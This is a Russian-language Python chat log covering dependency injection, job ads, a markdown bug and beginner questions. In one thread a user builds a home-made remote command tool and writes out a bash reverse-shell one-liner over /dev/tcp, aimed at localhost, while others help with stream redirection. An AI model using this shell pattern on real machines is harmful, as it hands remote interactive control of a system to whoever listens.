Dmitri
Народ, посоветуйте сокращатель ссылок не яндекс и не вк? С АПИ
Tishka17
депенденси инджектор? ок, погуглю варианты
Прошу тебя, не бери такую вещь как DI-фреймворк. Их неосторожное использование приведет к тем же проблемам что синглтоны или глобальные переменные. Сначала сделай руками DI. Как только граф объектов станет слишком большим (ну штук 50), уже можешь смотреть что там автоматизировать можно
Tishka17
Больше из рода серьезного, но веселья тут предостаточно)
Если серьёзное, чем тебе ssh не угодил или ansible?
Alex
ssh или ansible, как правильно отметил оратор выше
Dima
по-моему ты делаешь какую-то хрень
ааххаха... критичная оценка👌
Dima
доделаю эту хрень, и попробую реализовать на ssh или ansible
Dima
Передать его текст на клиент
with open(blahblah) as f и т.д.?
Tishka17
ssh 192.168.1.1 "echo 123"
Tishka17
пишут, что DI так же нарушает принцип инверсии зависимостей
Внедрение зависимости (англ. Dependency injection, DI) — процесс предоставления внешней зависимости программному компоненту. Является специфичной формой «инверсии управления» (англ. Inversion of control, IoC), когда она применяется к управлению зависимостями.
Alex
DI это один из механизмов реализующих принцип инверсии зависимостей.
Dima
i'll be back😁
Olga
#вакансия #удаленка #python #lead Всем добрый день! Ищем Python Team Lead в нашу команду (диалоговая платформа с привлечением искусственного интеллекта). Условия: удаленная работа full-time, компенсация 200-350k RU + опционы и бонусы. Достойное железо, дополнительные мониторы и всё, что нужно для продуктивной работы. Чем предстоит заниматься: - Работать в продуктовой самодостаточной команде по гибким методологиям, тесно взаимодействовать с продактом, - Организация работы команды разработки, - Проектирование архитектуры продукта и новых микросервисов, - Разработка технически сложных решений или их отдельных компонентов, - Улучшение масштабируемости, производительности и надежности продукта. Нужны такие навыки: - Разработка архитектуры системы (обязательный уклон в микросервисы, понимание горизонтально масштабируемых систем), - Разработка архитектуры БД, - Глубокое понимание принципов объектно-ориентированного подхода, - Опыт управления документацией технических решений, - Декомпозиция пользовательских историй на технические задачи, - Разработка и уточнение технических требований на основе имеющихся бизнес-требований, - Оценка сроков и трудоемкости задач, умение ставить цели продукта в приоритет, - Управление и развитие команды, балансировка нагрузки на участников команды, - Умение работать в Agile командах (Scrum), понимание User Stories, понимание velocity и фокус-фактора. Стек: - Python, asyncio, aiohttp, - NodeJS, TypeScript, - ReactJS, GraphQL, - PostgreSQL, - Redis, RabbitMQ, Docker, Kubernetes, Nginx, Prometheus, Gitlab (VCS, CI/CD, Registry), Pytest, Selenium. Пишите пожалуйста в личку, всё расскажу! @pppmint
Dima
если команда не существует, то bash не отправляет output, т.е. ошибку. можно сделать чтобы он отправлял?
Rin
Есть короткий код, https://pastebin.com/daWUFJKC Не получается преобразовать текст из markdown в html, что не так? Где ошибка? for message in client.iter_messages(channel_cli,limit = 20): print(markdown2.markdown(message.text))
Rin
Если есть переносы, то теги форматирование не заменяется
Dima
💩
Dima
stderr ловить
клиент же не на питоне
Alex
ибо если это не учебная задача - то ты делаешь в корне неверно
Tishka17
клиент же не на питоне
при чем тут питон? stderr - это часть ОС
Alex
клиент же не на питоне
stderr баша очевидно
Dima
подскажите, пожалуйста, как ловить stderr баша
Alex
перенаправить stderr в stdout
Dima
ибо если это не учебная задача - то ты делаешь в корне неверно
я понял. потом буду ещё пробовать ssh и ansible
Dima
перенаправить stderr в stdout
можешь навести пример кода, если не трудно?
Dima
т.е. теперь запрос будет bash -i >/dev/tcp/127.0.0.1/1234 2>&1 ?
Alex
какой нахрен запрос
Dima
какой нахрен запрос
на подключение, извиняюсь, если бомбит)
Dima
bash -i >/dev/tcp/127.0.0.1/1234 0>&1 2>&1
может какую-то ошибку допустил, потому что теперь совсем не подключается?
Dima
извиняюсь - подключилось, но очень странно работает. выглядит как будто один терминал наложили на другой.
Tishka17
дык там два потока. stderr и stdout
Tishka17
они наложились
Alex
да, потому что ему начал баш в stderr слать PS1
Dima
смотрите. можно сделать следующее? если stderr пустой, то отсылается только stdout, и наоборот. чтобы оно выглядело нормально.
Die young
ребят, помогите советом. На данном этапе нужно отточить работу с циклами и условиями нормальными(алгоритмами), решаю задачи на кодварс и хакеранк, спрашивал про бесплатные курсы,все советуют степика(к тому же прошел егоуже на 70 процентов), а они мне оч не нравятся, может посоветуете че?
Die young
FAQ в @ru_python_beginners
не помогли)спс
Dima
например когда ошибок нет
Dima
можна даже так, что бы было как в неткате. если там ввел ошибку, ничего просто не выводиться, но цикл при этом не останавливается.
nacknime
например когда ошибок нет
Можно написать это баш скриптом с проверкой
Tishka17
например когда ошибок нет
в любой момент времени их нет, но они были и могут быть
Alex
я ощущаю что он спрашивает про select()
Dima
я ощущаю что он спрашивает про select()
ахахха. я думал, что телепаты в отпуске🤔
Dima
нет. это совсем не связано с select(). я кидал вам код. там циклу нужен какой-то output, чтобы продолжать. а когда ошибка - этого output'а нет. вот в чём проблема. timeout ставить не вариант.
Tishka17
зачем циклу output чтобы продолжать?
Tishka17
ты вообще в курсе как баш работает?
Юлия
#работа #офис #москва Всем привет, я Юля - IT HR продуктовой компании Admitad. Ищу двух Python разработчиков в Москву для усиления команды Backend’а нашей платформы. Стек: Flask, Django, Mongo, PostgreSQL, Redis, Celery, RabbitMQ, Docker. Живем по Kanban. Подробнее: https://hh.ru/vacancy/32090054 https://hh.ru/vacancy/32046627 Находимся на Дмитровской. ТК РФ, полностью белые, ДМС со стоматологией, комната с playstation, фрукты и завтраки в офисе, обучение за счет компании. Нужен Middle или Senior, по деньгам от 140 к (net) и дальше в плюс в зависимости от скиллов. Верхней вилки нет. Если заинтересовало - пишите в личку или откликайтесь на hh.ru.
Tishka17
о, адмитад. минимальная ЗП потихоньку растет
Co(n)stantine👨‍🔬
Richard
о, адмитад. минимальная ЗП потихоньку растет
Ща как вайтишники попрут , и будет как биток
Tishka17
знакомая компания?
ходил к ним на собеседование разок
Tishka17
почему же. я отказался
Co(n)stantine👨‍🔬
почему же. я отказался
🤔зп и работа с легаси не устроила?
Tishka17
да не, просто проект не по мне
Anonymous
Привет ребят я новичек в питоне , не подскажите что можно сделать в python 3 ?
Anonymous
Если не сложно то в лс )
Anonymous
Все
А именно
Алексей
Он же turing-complete
Anonymous
Все
Геймдев тоже входит
Алексей
Ну может кроме ос
Алексей
Геймдев тоже входит
Ну да, что-то есть
Anonymous
Он актуален на 2019 год вообще ?
Alex
Он актуален на 2019 год вообще ?
нет, PHP самый актуальный
Tishka17
Привет ребят я новичек в питоне , не подскажите что можно сделать в python 3 ?
можно управлять ботом, чтобы он за пивом ездил в ларек за углом
Алексей
Он актуален на 2019 год вообще ?
Пфф, конечно. Больше чем актуален. Он же даже в одном из рейтингов был первый по популярности
Anonymous
Я только начал изучать его , сколько по времени я на него потрачу ?